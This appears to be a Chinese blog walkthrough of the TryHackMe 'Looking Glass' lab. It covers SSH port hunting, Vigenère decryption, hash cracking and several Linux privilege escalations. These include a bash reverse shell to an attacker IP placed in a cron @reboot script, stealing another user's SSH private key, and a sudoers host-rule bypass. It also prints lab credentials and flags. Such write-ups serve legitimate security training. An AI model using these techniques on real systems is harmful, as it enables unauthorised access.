Looking Glass

Looking Glass

v2ish1yan Lv4

0x00

  • linux提权
  • 维吉尼亚密码

0x01 端口扫描

直接访问网址发现访问不了,尝试使用nmap扫一波端口

1
nmap -sC -sV   10.10.238.101 
  • -sC 使用默认脚本
  • -sV 显示服务版本信息

结果

image-20230112205335633

可以发现不仅22端口开了ssh服务,从9000到13783端口都有ssh服务

尝试连接9001端口

1
ssh -p 9001 test@10.10.238.101 

如果出现下面的报错

1
Unable to negotiate with 10.10.238.101 port 9001: no matching host key type found. Their offer: ssh-rsa

就在/etc/ssh/ssh_config下面加上HostkeyAlgorithms +ssh-rsa

会发现返回Lower

image-20230112211126993

那换一个大的端口呢

1
ssh -p 13783 test@10.10.238.101

会返回Higher

image-20230112211211293

这就很明显了,让我们找到对的端口来连接,就用二分法来找吧

最后找到正确端口10412

也可以使用bash脚本进行

1
for i in $(seq 9000 13783); do echo "connecting to port $i"; ssh -o 'LogLevel=ERROR' -o 'StrictHostKeyChecking=no' -p $i test@10.10.2.112;done | grep -vE 'Lower|Higher'
1
2
3
#LogLevel=ERROR 设置安全等级为最低级,这样就不会显示报错消息
#StrictHostKeyChecking=no 不检查密钥文件
# -v 查找不包含目标字符串的内容 -E 使用 | 代表或

0x02 维吉尼亚解密

他返回了下面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
You've found the real service.
Solve the challenge to get access to the box
Jabberwocky
'Mdes mgplmmz, cvs alv lsmtsn aowil
Fqs ncix hrd rxtbmi bp bwl arul;
Elw bpmtc pgzt alv uvvordcet,
Egf bwl qffl vaewz ovxztiql.

'Fvphve ewl Jbfugzlvgb, ff woy!
Ioe kepu bwhx sbai, tst jlbal vppa grmjl!
Bplhrf xag Rjinlu imro, pud tlnp
Bwl jintmofh Iaohxtachxta!'

Oi tzdr hjw oqzehp jpvvd tc oaoh:
Eqvv amdx ale xpuxpqx hwt oi jhbkhe--
Hv rfwmgl wl fp moi Tfbaun xkgm,
Puh jmvsd lloimi bp bwvyxaa.

Eno pz io yyhqho xyhbkhe wl sushf,
Bwl Nruiirhdjk, xmmj mnlw fy mpaxt,
Jani pjqumpzgn xhcdbgi xag bjskvr dsoo,
Pud cykdttk ej ba gaxt!

Vnf, xpq! Wcl, xnh! Hrd ewyovka cvs alihbkh
Ewl vpvict qseux dine huidoxt-achgb!
Al peqi pt eitf, ick azmo mtd wlae
Lx ymca krebqpsxug cevm.

'Ick lrla xhzj zlbmg vpt Qesulvwzrr?
Cpqx vw bf eifz, qy mthmjwa dwn!
V jitinofh kaz! Gtntdvl! Ttspaj!'
Wl ciskvttk me apw jzn.

'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdstd

Jabberwocky

image-20230112212524132

这个看起来就是将字符打乱了,可能是维基利亚密码,使用这个网站进行解密【他会自动爆破密钥】

vigenere-solver

得到密码bewareTheJabberwock

image-20230112212709654

然后他会告诉我们用户和密码

1
jabberwock:SubjectsWatchingShynessProvided
1
ssh jabberwock@10.10.238.101

进去后查看user.txt,得到

1
}32a911966cab2d643f5d57d9e0173d56{mht

将其逆序输出

1
2
3
str='}32a911966cab2d643f5d57d9e0173d56{mht'
print(str[::-1])
>thm{65d3710e9d75d5f346d2bac669119a23}

0x03 提权至tweedledum

然后这里有两个文件poem.txttwasBrillig.sh,这个脚本

1
wall $(cat /home/jabberwock/poem.txt)

就是用来输出诗句的

然后再看看当前用户可以不用密码执行哪些其他用户的命令sudo -l -l

1
2
3
4
5
Sudoers entry:                                                                                                                                                                                   
RunAsUsers: root
Options: !authenticate
Commands:
/sbin/reboot

可以以root的身份执行重启命令,他为什么会给重启,可以去看看cron定时任务,可能会有相关信息

查看etc/crontab,发现有这样一段指令

1
@reboot tweedledum bash /home/jabberwock/twasBrillig.sh

没当机器重启的时候,就会以tweedledum的身份去执行twasBrillig.sh,我们可以修改这个脚本的内容,然后重启这个机器进行提权

twasBrillig.sh修改为反弹shell

1
bash -c ' bash -i &> /dev/tcp/10.18.104.32/9999 0>&1'

然后执行命令

1
sudo -u root /sbin/reboot

来重启服务器

攻击机开启监听,等一段时间后就可以得到shell

image-20230112220858586

0x04 提权至humptydumpty

/home/tweedledum发现了humptydumpty.txt

1
2
3
4
5
6
7
8
dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed
28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624
b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b

貌似为hash值,使用这个网站进行解密https://crackstation.net/ ,得到

image-20230112221453208

最下面那个不是hash,用16进制解码一下,得到密码

1
the password is zyxwvutsrqponmlk

看来这个就是用户humptydumpty的密码了,切换用户

1
su humptydumpty

他会报错

1
su: must be run from a terminal

使用python的pty模块,执行以下命令,获取伪终端

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

0x05 使用ssh私钥提权至alice

alice用户的.ssh目录可以访问,虽然不能列出文件,但是可以打印alice的私钥文件id_rsa

image-20230112235606214

复制到本地,保存在一个文件中,并赋予相应权限,只有

1
chmod 600 key

然后使用命令

1
ssh -i key alice@10.10.2.112 

来登录alice用户

0x06 提权至root

使用linepeas.sh来找可能存在提权的地方,这个就攻击机开个服务,让目标机下载就行

/etc/sudoers.d/alice存在对alice的sudo规则,当sudo -l需要密码而不知道的时候可以看看这里的文件

1
alice ssalg-gnikool = (root) NOPASSWD: /bin/bash

下面的是sudoers文件的语法

img

这里说明alice只能在ssalg-gnikool主机上才能使用root用户执行/bin/bash

使用命令

1
sudo -h  ssalg-gnikool -u root /bin/bash

-h 可以指定主机

虽然没有解析成功,但是还是到了root权限

image-20230113001330163

最后在/root得到root.txt,还是要逆序一下

1
2
3
str='}f3dae6dec817ad10b750d79f6b7332cb{mht'
print(str[::-1])
>thm{bc2337b6f97d057b01da718ced6ead3f}
  • 标题: Looking Glass
  • 作者: v2ish1yan
  • 创建于: 2023-05-20 10:56:44
  • 更新于: 2023-05-20 10:56:44
  • 链接: http://v2ish1yan.top/2023/05/20/靶机/THM_Looking Glasses/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论